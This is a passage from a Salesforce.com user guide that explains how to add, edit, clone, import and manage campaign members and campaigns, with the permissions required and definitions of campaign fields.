permission on leads and contacts to see all members. If you only have “Read” on leads, you will only see campaign
members created from leads; if you only have “Read” on contacts, you will only see campaign members created
from contacts.

3. Select the checkboxes next to the records you want to edit. To select all records on the current page, select the checkbox
in the header row.
4. Optionally perform the following actions:
• To change the campaign member status, select a status from the Update Status drop-down list.
• To remove a member from a campaign, click Remove.

1290
Campaigns Managing Campaign Members

• To edit the details of a campaign member, click Edit. Fields derived from the lead or contact record can only be edited
on the lead or contact detail page. The Campaign Member Type field can only be edited on the campaign detail
page.
• To view, edit, delete, clone, a campaign member, click the campaign member's name in the Name column.

Consider the following tips when working with the members list:
• To hide the search filters, click Hide Search in the left corner above the search options on the Add Members subtab, or
click Hide Filters in the left corner above the filters on the Existing Members subtab.
• To clear the search filters, click Clear Filters under the filters.
• Navigate through the list results by clicking the first page icon (<<), Previous, Next, or the last page icon (>>) at the bottom
of the list.
• Jump to a specific page of results by entering a number in the text box in the lower right corner and then pressing Enter.
• Change the number of records displayed per page by clicking the record count indicator in the lower left corner of the list
and choosing a number. You can view 10, 25, 50, 100, or 200 records at a time. When you change this setting, you return
to the first page of list results. Changing your preference for the number of records displayed per page applies to all lists
in all Salesforce.com apps, not just the list currently displayed. In addition, if you change your preference to 200, a message
warns you of possible performance degradation.
• Change the width of a column by dragging the right side of the column heading with your mouse. Changes you make to
column widths are specific to this list only, and the changes are not retained if you edit the members in the list or if you
navigate to another page.
• Click the Edit Columns link in the upper right corner of the list to add or remove columns. Columns you add or remove
are specific to this list only, and the changes are not retained if you edit the members in the list or if you navigate to another
page.
The latest Manage Members page is not available in accessibility mode. In accessibility mode, you can still add contacts or
leads to a campaign, update campaign members, and remove campaign members using the campaign member wizards.

See Also:
Adding Multiple Campaign Members
Using the Campaign Members Related List
Entering Filter Criteria

1291
Campaigns Managing Campaign Members

Using the Campaign Members Related List


Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To view campaigns: “Read” on campaigns
To view the campaign members related list: “Read” on campaigns
AND
“Read” on leads
AND
“Read” on contacts

To edit the campaign members related list: “Edit” on campaigns

Using the Campaign Members Related List


With the Campaign Members related list, you can view, add, edit, or remove campaign members directly from a campaign
detail page.
The Campaign Members related list displays five campaign members by default. To display more members, click the Show
more link.
Note: For campaigns with campaign members created from both leads and contacts, you must have “Read” permission
on leads and contacts to see all members. If you only have “Read” on leads, you will only see campaign members created
from leads; if you only have “Read” on contacts, you will only see campaign members created from contacts.

The Manage Members drop-down button in the Campaign Members related list and in the campaign detail section lets you
search for leads and contacts and add them as campaign members, update or remove existing members, and add and update
campaign members using an import file.
From the Campaign Members related list:

• Click the campaign member's name in the Name, First Name, or Last name column to view the campaign member details.
• Click Remove to remove a campaign member from the campaign.
• Click Edit to edit the campaign member details.
• Select one of the following from the Manage Members drop-down button:

- Add Members - Search to add campaign members from a search.


- Add Members - Import File to add campaign members by importing leads from a comma-delimited text file (.csv).
- Edit Members - Search to view, update, or delete existing campaign members.

1292
Campaigns Managing Campaign Members

- Update & Add Members - Import File to edit campaign member status using an import file.

See Also:
Adding Multiple Campaign Members
Editing Multiple Campaign Members
Customizing Page Layouts

Adding Multiple Campaign Members


Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To add campaign members:
“Edit” on campaigns
AND
“Edit” on leads and contacts
AND
Marketing User checked in your user information

To remove campaign members: “Read” on campaigns


AND
“Edit” on leads or contacts

Adding Campaign Members from the Manage Members Page


You can add leads and contacts as members of a campaign from the Manage Members page. To add contacts to a campaign,
the Add to Campaign checkbox must be enabled. If a campaign has a campaign member type, you must have access to that
campaign member type in order to add members to the campaign. Otherwise, you can only update existing campaign members.
Note: Before using the Manage Members page, verify that you are using a supported browser.

To add campaign members from the Manage Members page:


1. Click Manage Members and choose Add Members - Search from the drop-down button on a campaign detail page or
the Campaign Members related list.
2. On the Add Members subtab, select the Leads or Contacts radio button to add leads or contacts, respectively.
3. Search for leads or contacts:
• You can specify search filters and click Go!

1293
Campaigns Managing Campaign Members

• Alternatively, you can select an existing view, such as all open leads, from the Use Existing View drop-down list. Your
results will display automatically. If you select an existing view, you can modify its criteria by adding or changing filters,
and clicking Go!.
Note: You cannot modify filter criteria if you selected a view that uses advanced options or that uses more than
five filters. Filter criteria will be reflected in your search results for these views, though not all filter criteria will
display.

4. Select the checkboxes next to the records you want to add. To select all records on the current page, select the checkbox
in the header row.
5. Select a status from the Add with Status drop-down list.
A confirmation message will display and you will see the members you added on the Existing Members subtab.
Consider the following tips when working with the members list:
• To hide the search filters, click Hide Search in the left corner above the search options on the Add Members subtab, or
click Hide Filters in the left corner above the filters on the Existing Members subtab.
• To clear the search filters, click Clear Filters under the filters.
• Navigate through the list results by clicking the first page icon (<<), Previous, Next, or the last page icon (>>) at the bottom
of the list.
• Jump to a specific page of results by entering a number in the text box in the lower right corner and then pressing Enter.
• Change the number of records displayed per page by clicking the record count indicator in the lower left corner of the list
and choosing a number. You can view 10, 25, 50, 100, or 200 records at a time. When you change this setting, you return
to the first page of list results. Changing your preference for the number of records displayed per page applies to all lists
in all Salesforce.com apps, not just the list currently displayed. In addition, if you change your preference to 200, a message
warns you of possible performance degradation.
• Change the width of a column by dragging the right side of the column heading with your mouse. Changes you make to
column widths are specific to this list only, and the changes are not retained if you edit the members in the list or if you
navigate to another page.
• Click the Edit Columns link in the upper right corner of the list to add or remove columns. Columns you add or remove
are specific to this list only, and the changes are not retained if you edit the members in the list or if you navigate to another
page.
Note: If you are unable to add contacts, enable the Add to Campaign checkbox:
1. Click Setup ➤ Customize ➤ Contacts ➤ Search Layouts.
2. Click Edit next to Contacts List View.
3. Select Add to Campaign.
4. Click Save.

The latest Manage Members page is not available in accessibility mode. In accessibility mode, you can still add contacts or
leads to a campaign, update campaign members, and remove campaign members using the campaign member wizards.

See Also:
Using the Campaign Members Related List
Editing Multiple Campaign Members
Entering Filter Criteria

1294
Campaigns Managing Campaign Members

Adding Campaign Members from Reports


Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To add campaign members from a contact report: Marketing User checked in your user information

AND
“Edit” on campaigns
AND
“Read” on contacts
AND
“Read” on reports

To add campaign members from a lead report: Marketing User checked in your user information

AND
“Edit” on campaigns
AND
“Read” on leads
AND
“Read” on reports

To add campaign members from a person account report: Marketing User checked in your user information

AND
“Edit” on campaigns
AND
“Read” on contacts
AND
“Read” on reports

To add up to 50,000 contacts, leads, or person accounts from a report to a campaign.


To add leads, contacts, or person accounts from a report to a campaign:

1. Click Add to Campaign from a campaign, contact, lead, or person account report that returns lead, contact, or person
account records.

1295
Campaigns Managing Campaign Members

Tip: You must have sharing access to view the lead or contact you are adding.

If your report returns more than 50,000 records, the button will be disabled. You can modify your report to return fewer
records.
2. Use the lookup icon to choose a campaign to which the report results will be added.
3. Choose a member status for the contacts, leads, or person accounts you are adding to the campaign.
4. Choose whether or not to override the member status of members who already exist in the campaign.
If you choose to override the status of existing campaign members, you will be updating their member statuses to whatever
value you selected in the previous step.
5. Click Add to Campaign.
6. Review the confirmation screen.
7. Click Done to return to the report.

Consider the following additional tips when adding campaign members from a report:

• Campaign members are added in batches, so in the event that the process is interrupted, for example, by clicking Cancel,
some members will still be added.
• If lead or contact records are edited after you click Add to Campaign but before they are actually added, they will not be
added to the campaign.
• You cannot add converted leads to campaigns. If any converted leads are included in a report, they will be ignored during
the add to campaign process.
• If a campaign has a campaign member type, you must have access to that campaign member type in order to add members
to the campaign. Otherwise, you can only update existing campaign members.

See Also:
Managing Campaign Members
What is a Person Account?

1296
Campaigns Managing Campaign Members

Adding Contacts or Leads from a List View to a Campaign


Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To add multiple existing contacts to a campaign: Marketing User checked in your user information

AND
“Edit” on campaigns
AND
“Edit” on contacts

To add multiple existing leads to a campaign: Marketing User checked in your user information

AND
“Edit” on campaigns
AND
“Edit” on leads

To add multiple person accounts to a campaign: Marketing User checked in your user information

AND
“Edit” on campaigns
AND
“Edit” on contacts

Note: If your administrator has enabled enhanced lists, you can use additional tools to customize, navigate, manage,
and edit list data.

To add existing contacts, leads, or person accounts to a campaign from a list view:

1. Navigate to a list view of contacts or leads, such as the “My Contacts” list view. You can create custom list views that restrict
results according to campaign name and optionally also by campaign member status (see Creating Custom List Views on
page 1691).
Tip: You must have sharing access to view the lead or contact you are adding.

Note that person accounts are included in contact list views and can be added to campaigns from them.

1297
Campaigns Managing Campaign Members

2. Check the boxes next to the records you want to select. Optionally, check the box in the column header to select all currently
displayed items. Up to 250 records can display on the page at a time.
3. Click Add to Campaign. If a campaign has a campaign member type, you must have access to that campaign member
type in order to add members to the campaign. Otherwise, you can only update existing campaign members.
4. In the first step of the wizard, enter the name of the campaign you want to update, or click the lookup icon to search for
and select an existing campaign.
5. Choose whether or not to override the member status of members who already exist in the campaign.
If you choose to override the status of existing campaign members, you will be updating their member statuses to whatever
value you selected in the previous step.
6. Click Add to Campaign.
7. In the second step of the wizard, review confirmation messages about the members you selected. If a selected member
already existed in the campaign, then its member status value will have been updated.
8. Click Done to exit the wizard and return to the list view.

See Also:
Managing Campaign Members
Creating Custom List Views
What is a Person Account?
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists

1298
Campaigns Managing Campaign Members

Displaying and Editing a Campaign Member


Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To view, edit, or remove campaign members: “Read” on campaigns
AND
“Read” on leads
AND
“Read” on contacts

To add campaign members: “Read” on campaigns


AND
“Edit” on leads
AND
“Edit” on contacts

From the campaign member detail page, you can edit, delete, or clone a campaign member record. Additionally, if the campaign
member is based on a lead, you can convert the lead; if the campaign member is based on a contact, you can create an opportunity.
To view the campaign member detail page, click the campaign member's name in the Name, First Name, or Last Name
columns on the Campaign Members related list on a campaign detail page or on the Existing Members tab. To view a campaign
member, you must have permissions on the campaign and the lead or contact. For example, to view a campaign member
created from a lead, you must be able to view both the campaign and the lead.
To edit the campaign member detail page layout, click the Edit Layout link or click Setup ➤ Customize ➤ Campaigns ➤
Campaign Member ➤ Page Layouts.
Editing a Campaign Member
To edit a campaign member, click Edit on the campaign member detail page, change the fields you want to update,
then click Save. Fields derived from the contact or lead can only be edited from the lead or contact detail pages.
Note: If your administrator has enabled inline editing for your organization, you cannot use inline editing on
the Status drop-down list on the campaign member detail page. Instead, click Edit on the campaign detail
page to edit the Status drop-down list.

Cloning a Campaign Member


To clone a campaign member, click Clone on the campaign member detail page, then select a campaign and a contact
or lead. Change the fields you want to clone for the new campaign member, then click Save.

1299
Campaigns Managing Campaign Members

Deleting a Campaign Member


To delete a campaign member, click Delete on the campaign member detail page.
Note: Deleting a campaign member record is permanent; the record is not recoverable from the recycle bin.
However, the original lead or contact record is not deleted.

Converting a Lead

If the campaign member was created from a lead, you can click Convert Lead on the campaign member detail page to
convert the lead. When you convert a lead, the campaign member is still a part of the campaign, but its type changes
from lead to contact.

Creating an Opportunity

If the campaign member was created from a contact, you can click Create Opportunity on the campaign member detail
page to create an opportunity. When you create an opportunity, the campaign member is still a part of the campaign.

See Also:
Adding, Editing, or Cloning Individual Campaign Members
Campaign Member Fields
Customizing Page Layouts
Managing Workflow Rules
Managing Apex Triggers
Campaign Reports

Campaign Member Fields


The available fields vary according to which Salesforce.com Edition you have.

These are the fields (in alphabetical order) that make up a campaign member. Most campaign member fields are derived from
the lead or contact record from which the campaign member was created and must be edited from the corresponding lead or
contact record. Some of these fields may not be visible or editable depending on your page layout and field-level security
settings. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.)

Field Description
Campaign The campaign to which the lead or contact belongs.
Campaign Member Currency The default currency for currency amount fields on the campaign member. Amounts
display in the campaign member currency and are also converted to the user’s personal
currency. Available only for organizations that use multiple currencies.
Campaign Member Type The record type of the campaign member, which determines the page layout available for
the campaign member. (Read only)
City City portion of the lead or contact's address.

1300
Campaigns Managing Campaign Members

Field Description
Company (Account) The company, if the campaign member is based on a lead, or the account, if the campaign
member is based on a contact.
Contact The name of the contact, if the campaign member is based on a contact.
Country Country portion of the lead or contact's address.
Created By User who created the campaign member. (Read only)
Created Date Date the campaign member was created. (Read only)
Description Description of the lead or contact.
Do Not Call Indicates if the person does not want to be contacted via telephone.
Email Email address of the lead or contact.
Email Opt Out The person's email address will not be included in mass emails.
Fax Fax number of the lead or contact.
Fax Opt Out Indicates if the person has requested not to be included in broadcast faxes.
First Name First name of the lead or contact.
First Responded Date Date the campaign member first responded. (Read only)
Last Modified By User who last changed the campaign member record. (Read only)
Last Modified Date Date the campaign member record was last modified. (Read only)
Last Name Last name of the lead or contact.
Lead The name of the lead, if the campaign member is based on a lead.
Lead Source Source of lead, for example, Advertisement, Partner, or Web. Entry is selected from a
picklist of available values, which are set by an administrator. Each picklist value can have
up to 40 characters.
Mobile Mobile phone number for the lead or contact.
Phone Phone number for the lead or contact.
Responded Indicates if the campaign member has responded.
Salutation The salutation for addressing the person, for example, Mr., Ms., Dr., or Prof.
State/Province State or province portion of the lead or contact's address.
Status The status of the campaign member, for example, sent or responded.
Street Street portion of the lead or contact's address.
Title The title of the lead or contact, for example, President.

1301
Campaigns Adding, Editing, or Cloning Individual Campaign Members

Field Description
Zip/Postal Code Zip or postal code portion of the lead or contact's address.

See Also:
Adding Multiple Campaign Members
Displaying and Editing a Campaign Member
Managing Validation Rules
Managing Apex Triggers

Adding, Editing, or Cloning Individual Campaign Members


Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To add or clone a campaign member: “Read” on campaigns
AND
“Edit” on leads and contacts

To edit a lead or contact campaign member: “Read” on campaigns


AND
“Read” or “Edit” on leads or contacts

To edit person account campaign member: “Read” on campaigns


AND
“Read” or “Edit” on accounts and contacts

For campaigns that elicit responses one-by-one, for example, via a phone call to a sales rep, you can manually link a contact,
lead, or person account to a campaign and update that individual's campaign status. Any user can do this from the Campaign
History related list on a contact, lead, or person account.
You can also add multiple campaign members and edit multiple campaign members.
Note: If a campaign has a campaign member type, you must have access to that campaign member type in order to
add members to the campaign. Otherwise, you can only update existing campaign members.

1302
Campaigns Adding, Editing, or Cloning Individual Campaign Members

Adding Individual Campaign Members


To add a campaign member:
1. Click Add to Campaign in the Campaign History related list on the detail page of the contact, lead, or person account
you want to add to the campaign.
2. In the popup window, specify the campaign.
3. On the Campaign Member Edit page, specify the campaign member status.
4. Enter or change any additional information.
Fields derived from the lead or contact record can only be edited on the lead or contact detail page. The Campaign
Member Type field can only be edited on the campaign detail page.
5. Click Save.

Editing Individual Campaign Members


To edit a campaign member:
1. Find an existing campaign member:
• Click Edit next to the campaign name in the Campaign History related list on the detail page of a contact, lead, or
person account
• Click Edit next to the campaign member's name in the Campaign Members related list on the detail page of a campaign

2. Enter or change any additional information.


Fields derived from the lead or contact record can only be edited on the lead or contact detail page. The Campaign
Member Type field can only be edited on the campaign detail page.
3. Click Save.

Cloning Individual Campaign Members


To clone a campaign member:
1. Click a campaign member's name in the Name, First Name, or Last Name columns in the Campaign Members related
list of the detail page of a campaign.
2. Click Clone.
3. In the popup window, specify a campaign.
4. On the Campaign Member Edit page, specify either a lead or a contact; do not specify both.
5. Enter or change any additional information.
Fields derived from the lead or contact record can only be edited on the lead or contact detail page. The Campaign
Member Type field can only be edited on the campaign detail page.
6. Click Save.
Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.

See Also:
Managing Campaign Members
What is a Person Account?

1303
Campaigns Importing Campaign Members

Importing Campaign Members


Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To change campaigns: “Edit” on campaigns
AND
Marketing User checked in your user information

To import leads as campaign members: “Edit” on campaigns


AND
Marketing User checked in your user information

AND
“Import Leads”

To use the campaign update wizard: “Edit” on campaigns


AND
Marketing User checked in your user information

AND
“Import Leads”
AND
“Read” on contacts

With the two campaign import wizards, designated Marketing Users can use CSV (comma-separated values) files to import
new leads and track the responses of leads and contacts at each stage of a campaign.
For example, you can mark each contact or lead as “Planned” at the beginning of the campaign and then mark them as
“Responded” after they respond. These different “responses” are referred to as the Member Status of each lead or contact
associated with the campaign.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.

To use one of the import wizards, click the Manage Members drop-down button on a campaign detail page and select one
of the following:

• Add Members - Import File then click Import Leads: With the Lead Import Wizard on page 1305, you can import a list
of new names. Salesforce.com creates leads in the system, and associates those leads with your campaign to create new
campaign members.

1304
Campaigns Importing Campaign Members

• Update & Add Members - Import File then click Update & Add Campaign Members: With the Campaign Update
Wizard on page 1307, you can import a list of existing Salesforce.com contacts and leads. Salesforce.com associates the
records with your existing campaign member records, and updates their response history. In addition, any new leads or
contacts added using the Campaign Update Wizard will be added as members of the campaign.

Note: If a campaign has a campaign member type, you must have access to that campaign member type in order to
add members to the campaign. Otherwise, you can only update existing campaign members.

See Also:
Managing Campaign Members
Adding, Editing, or Cloning Individual Campaign Members
Importing Overview

Lead Import Wizard


Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To import leads using the campaign import wizard: “Edit” on campaigns
AND
Marketing User checked in your user information

AND
“Import Leads”

With the Lead Import Wizard, you can import a list of up to 50,000 new leads and associate them with a campaign. Use this
wizard for campaigns that generate new leads.

Example Uses
• If you buy a list of names for a direct mailing, you can import the list to create new leads and associate them with your
direct mail campaign.
• If you have a list of individuals who visited your booth at a trade show, you can import the list to create new leads and
mark them as “Attended”.

Tips for Using the Lead Import Wizard


• Activate the New Campaign Member Creation Behavior update to:
- Map campaign member custom fields to import file fields
- Map the campaign member status field to an import file field

1305
Campaigns Importing Campaign Members

- Trigger workflow rules for campaign members created or updated using the wizard
- Enable validation rules for imported campaign members

• If names in your import file match existing leads, duplicate leads are created.
• If duplicate names exist in the import file, duplicate leads are created.
• If a campaign has a campaign member type, you must have access to that campaign member type in order to add members
to the campaign. Otherwise, you can only update existing campaign members.

Using the Lead Import Wizard


1. Prepare your list of names according to the specifications described in Field Mapping for Importing Leads on page 316.
2. Click the Manage Members drop-down button and select Add Members - Import File on the detail page of the campaign
you want to update.
3. Click Import Leads.
4. Click Browse and choose your import file.
5. Select a lead source.
6. Select an assignment rule to assign the leads.
7. Optionally choose to use assignment rule settings to notify the new record owners.
8. Select the default member status for leads with blank or invalid statuses.
9. Select the character encoding of your import file. Most users do not need to change the default setting.
10. Optionally choose to trigger workflow rules for new and updated records.
11. Optionally choose to trigger workflow rules for new campaign members. This is only available if you activated the New
Campaign Member Creation Behavior.
12. Click Next.
13. Map the Salesforce.com fields to the fields in your import file, then click Next.
14. Map the Salesforce.com campaign member status field and any campaign member custom fields to your import file, then
click Next. This is only available if you have campaign member custom fields and you activated the New Campaign Member
Creation Behavior.
15. Click Import Now!.
To verify that leads were imported with the correct member status, view the Campaign History related list on the leads. See
Adding, Editing, or Cloning Individual Campaign Members on page 1302.

See Also:
Importing Campaign Members
Importing Overview
Managing Campaign Members

1306
Campaigns Importing Campaign Members

Campaign Update Wizard


Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To use the Campaign Update Wizard: “Edit” on campaigns
AND
“Import Leads”
AND
“Read” on contacts
Marketing User checked in your user information

With the Campaign Update Wizard, you can import up to 50,000 existing contacts and leads to update the statuses for
campaign members. Use this wizard for campaigns that target existing leads or contacts.

Example Uses
• For a Web seminar targeted at existing leads, you can import a list of those leads with their member statuses for the
campaign, for example, “Attended,” “Registered,” and “No Show.”
• For a conference targeted at existing contacts, you can import a list of contacts to track your customers' attendance.

Tips for Using the Campaign Update Wizard


• Activate the New Campaign Member Creation Behavior update to:
- Map campaign member custom fields to import file fields
- Map the campaign member status field to an import file field
- Trigger workflow rules for campaign members created or updated using the wizard
- Enable validation rules for imported campaign members

• Campaign members based on contacts created from converted leads are not updated.
• If the import file includes leads or contacts that are not campaign members, they are added as campaign members.
• The campaign update wizard only changes records to which you have sharing access.
• If a campaign has a campaign member type, you must have access to that campaign member type in order to add members
to the campaign. Otherwise, you can only update existing campaign members.

Using the Campaign Update Wizard


1. Run a contact or lead report in Salesforce.com, include the Contact ID or Lead ID field, and export it to Excel.
If you are targeting both leads and contacts, combine the exported lead and contact reports into one CSV (comma-separated
values) file in Excel. Make sure the Lead ID and Contact ID values are in the same Excel column.

1307
Campaigns Creating Campaigns

Note: If commas are not appropriate for your locale, use a tab or other delimiter.

2. Rename the Lead ID/Contact ID column to Record Id.


3. Optionally add a column called Status, and enter the member status for each record. Records with blank or invalid
statuses are assigned the default member status you select in the wizard.
4. Click the Manage Members drop-down button and select Update & Add Members - Import File on the campaign you
want to update.
5. Click Update & Add Campaign Members.
6. Click Browse and choose your import file.
7. Select the default member status for contacts or leads with blank or invalid statuses.
8. Select the character encoding of your import file. Most users do not need to change the default setting.
9. Optionally choose to trigger workflow rules for new and updated records. This is only available if you activated the New
Campaign Member Creation Behavior.
10. Click Next.
11. Map the Salesforce.com fields to the fields in your import file, then click Next. Campaign member custom field mapping
is available if you have campaign member custom fields and you activated the New Campaign Member Creation Behavior.
12. Click Import Now!.

Creating Campaigns
Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To view campaigns: “Read” on campaigns
To create campaigns: “Create” on campaigns
AND
Marketing User checked in your user information

To create a campaign:

1. Select Campaign from the Create New drop-down list in the sidebar or click New next to Recent Campaigns on the
campaigns home page.
2. Choose the following, then click Continue:

• A campaign record type, which determines the page layout and picklist values for the campaign
• A campaign member type, which determines the page layout for members of the campaign

Note: These options are only available if your organization has two or more campaign record types or campaign
member record types, respectively. To skip this step, set up default record types.

1308
Campaigns Cloning Campaigns

3. Enter information for the campaign.


4. Click Save, or click Save & New to save the campaign and add another.

See Also:
Campaign Fields
Creating Record Types

Cloning Campaigns
Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

User Permissions Needed


To clone campaigns: “Create” on campaigns
AND
Marketing User checked in your user information

The Clone button on a campaign creates a new campaign with the same information and member status values as an existing
campaign.

1. Click Clone on a campaign.


Note: If your organization uses record types, and the campaign you're cloning doesn't have a campaign member
type, or has an invalid campaign member type, select campaign member type and click Continue.

2. Enter or change any information for the new campaign.


3. Click Save.
Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.

See Also:
Campaign Fields

1309
Campaigns Campaign Fields

Campaign Fields
Available in: Enterprise, Unlimited, and Developer Editions
Available for an additional cost in: Professional Edition

A campaign has the following fields, listed in alphabetical order. Depending on your page layout and field-level security
settings, some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer
Editions only.)

Field Description
Active Checkbox to mark whether the campaign is active or not. You
can only choose active campaigns in the Campaign History
list and other campaign picklists.
Actual Cost Amount of money spent to run the campaign.
Budgeted Cost Amount of money budgeted for the campaign.
Campaign Currency The default currency for currency amount fields in the
campaign. Amounts display in the campaign currency and are
also converted to the user’s personal currency. Available only
for organizations that use multiple currencies.
Campaign Member Type Record type for campaign members; determines the page
layout of the members of the campaign. Available in
Enterprise, Unlimited, and Developer Editions.
Campaign Name Identifying name for the campaign.
Campaign Owner Assigned owner of the campaign.
Campaign Record Type Record type for the campaign; determines the picklist values
available for the campaign. Available in Enterprise, Unlimited,
and Developer Editions.
Converted Leads Number of leads that were converted to accounts due to the
marketing efforts in the campaign. Salesforce.com
automatically calculates this amount using all associated records
regardless of whether you have read access to them. For more
information on converting leads, see Converting Leads on
page 1683. This field cannot be referenced in formulas for
workflow rules, validation rules, field updates, or approval
processes, but it can be referenced in custom formula fields.
Updates to this field do not trigger workflow rules.
Created By User who created the campaign including creation date and
time. (Read only)
Custom Links Listing of custom links for campaigns as set up by your
administrator.

1310
Campaigns Campaign Fields

Field Description
Description Description of the campaign. Up to 32KB of data are allowed
in this field. Only the first 255 characters display in reports.
End Date Ending date for the campaign. Responses received after this
date are still counted.
Expected Response (%) Percentage of responses you expect to receive for the campaign.
Expected Revenue Amount of money you expect to generate from the campaign.
Last Modified By User who last changed the campaign fields, including
modification date and time. This does not track changes made
to any of the related list items on the campaign. (Read only)
Num Total Opportunities Calculated field for number of opportunities associated with
the campaign. (Read only) Salesforce.com automatically
calculates this amount using all associated records regardless
of whether you have read access to them. This field cannot be
referenced in formulas for workflow rules, validation rules,
field updates, or approval processes, but it can be referenced
in custom formula fields. Updates to this field do not trigger
workflow rules.
Num Sent Number of individuals targeted by the campaign. For example,
the number of emails sent.
Num Won Opportunities Calculated field for number of closed/won opportunities
associated with the campaign. (Read only) Salesforce.com
automatically calculates this amount using all associated records
regardless of whether you have read access to them. This field
cannot be referenced in formulas for workflow rules, validation
rules, field updates, or approval processes, but it can be
referenced in custom formula fields. Updates to this field do
not trigger workflow rules.
Parent Campaign The campaign above the selected campaign in the campaign
hierarchy.
Start Date Starting date for the campaign.
Status Status of the campaign, for example, Planned, In Progress.
Entry is selected from a picklist of available values, which are
set by an administrator. Each picklist value can have up to 40
characters.
Total Actual Cost in Hierarchy Calculated field for the total amount of money spent to run a
campaign hierarchy. (Read only) Salesforce.com automatically
calculates this amount using all associated records regardless
of whether you have read access to them. This field cannot be
referenced in formulas for workflow rules, validation rules,
field updates, or approval processes, but it can be referenced

1311
Campaigns Campaign Fields

Field Description
in custom formula fields. Updates to this field do not trigger
workflow rules.
Total Budgeted Cost in Hierarchy Calculated field for the total amount of money budgeted for
a campaign hierarchy. (Read only) Salesforce.com
automatically calculates this amount using all associated records
regardless of whether you have read access to them. This field
cannot be referenced in formulas for workflow rules, validation
rules, field updates, or approval processes, but it can be
referenced in custom formula fields. Updates to this field do
not trigger workflow rules.
Total Contacts Number of individuals on accounts that are associated with
the campaign. Salesforce.com automatically calculates this
amount using all associated records regardless of whether you
have read access to them. This field cannot be referenced in
formulas for workflow rules, validation rules, field updates, or
approval processes, but it can be referenced in custom formula
fields. Updates to this field do not trigger workflow rules.
Total Contacts in Hierarchy Calculated field for number of contacts associated with the
campaign hierarchy. (Read only) Salesforce.com automatically
calculates this amount using all associated records regardless
of whether you have read access to them. This field cannot be
referenced in formulas for workflow rules, validation rules,
field updates, or approval processes, but it can be referenced
in custom formula fields. Updates to this field do not trigger
workflow rules.
Total Converted Leads in Hierarchy Calculated field for the total number of leads associated with
the campaign hierarchy that were converted into accounts,
contacts, and opportunities. Salesforce.com automatically
calculates this amount using all associated records regardless
of whether you have read access to them. This field cannot be
referenced in formulas for workflow rules, validation rules,
field updates, or approval processes, but it can be referenced
in custom formula fields. Updates to this field do not trigger
workflow rules.
Total Expected Revenue in Hierarchy Calculated field for the total amount of money you expect to
generate from a campaign hierarchy. (Read only)
Salesforce.com automatically calculates this amount using all
associated records regardless of whether you have read access
to them. This field cannot be referenced in formulas for
workflow rules, validation rules, field updates, or approval
processes, but it can be referenced in custom formula fields.
Updates to this field do not trigger workflow rules.
Total Leads Number of potential opportunities (leads) associated with the
campaign. Salesforce.com automatically calculates this amount

1312
Campaigns Campaign Fields

Field Description
using all associated records regardless of whether you have
read access to them. This field cannot be referenced in
formulas for workflow rules, validation rules, field updates, or
approval processes, but it can be referenced in custom formula
fields. Updates to this field do not trigger workflow rules.
Total Leads in Hierarchy Calculated field for the total number of leads associated with
the campaign hierarchy. This number also includes converted
leads. (Read only) Salesforce.com automatically calculates this
amount using all associated records regardless of whether you
have read access to them. This field cannot be referenced in
formulas for workflow rules, validation rules, field updates, or
approval processes, but it can be referenced in custom formula
fields. Updates to this field do not trigger workflow rules.
Total Num Sent in Hierarchy Calculated field for the total number of individuals targeted
by a campaign hierarchy, for example, the number of emails
sent. (Read only) Salesforce.com automatically calculates this
amount using all associated records regardless of whether you
have read access to them. This field cannot be referenced in
formulas for workflow rules, validation rules, field updates, or
approval processes, but it can be referenced in custom formula
fields. Updates to this field do not trigger workflow rules.
Total Opportunities in Hierarchy Calculated field for the total number of opportunities
associated with the campaign hierarchy. (Read only)
Salesforce.com automatically calculates this amount using all
associated records regardless of whether you have read access
to them. This field cannot be referenced in formulas for
workflow rules, validation rules, field updates, or approval
processes, but it can be referenced in custom formula fields.
Updates to this field do not trigger workflow rules.
Total Responses Calculated field for the total number of contacts and
unconverted leads that have a Member Status equivalent to
“Responded” for the campaign. (Read only) Salesforce.com
automatically calculates this amount using all associated records
regardless of whether you have read access to them. This field
cannot be referenced in formulas for workflow rules, validation
rules, field updates, or approval processes, but it can be
referenced in custom formula fields. Updates to this field do
not trigger workflow rules.
Total Responses in Hierarchy Calculated field for number of contacts and unconverted leads
that have a Member Status equivalent to “Responded” for
the campaign hierarchy. (Read only) Salesforce.com
automatically calculates this amount using all associated records
regardless of whether you have read access to them. This field
cannot be referenced in formulas for workflow rules, validation

1313
Campaigns Campaign Fields

Field Description
rules, field updates, or approval processes, but it can be
referenced in custom formula fields. Updates to this field do
not trigger workflow rules.
Total Value Opportunities Calculated field for the amount of all opportunities associated
with the campaign, including closed/won opportunities. (Read
only) Salesforce.com automatically calculates this amount
using all associated records regardless of whether you have
read access to them.
For organizations using multiple currencies, opportunity
amounts are converted to the campaign currency. If your
currency does not match the campaign currency, the amount
is converted to your currency and displays in parentheses.
For organizations using advanced currency management,
opportunity amounts are converted to the campaign currency
via dated exchange rates. If the campaign currency does not
match your currency, the total of the opportunity amounts are
converted using standard exchange rates, not dated exchange
rates, and that amount displays in parentheses.
This field cannot be referenced in formulas for workflow rules,
validation rules, field updates, or approval processes, but it can
be referenced in custom formula fields. Updates to this field
do not trigger workflow rules.
Total Value Opportunities in Hierarchy Calculated field for total amount of all opportunities associated
with the campaign hierarchy, including closed/won
opportunities. (Read only) Salesforce.com automatically
calculates this amount using all associated records regardless
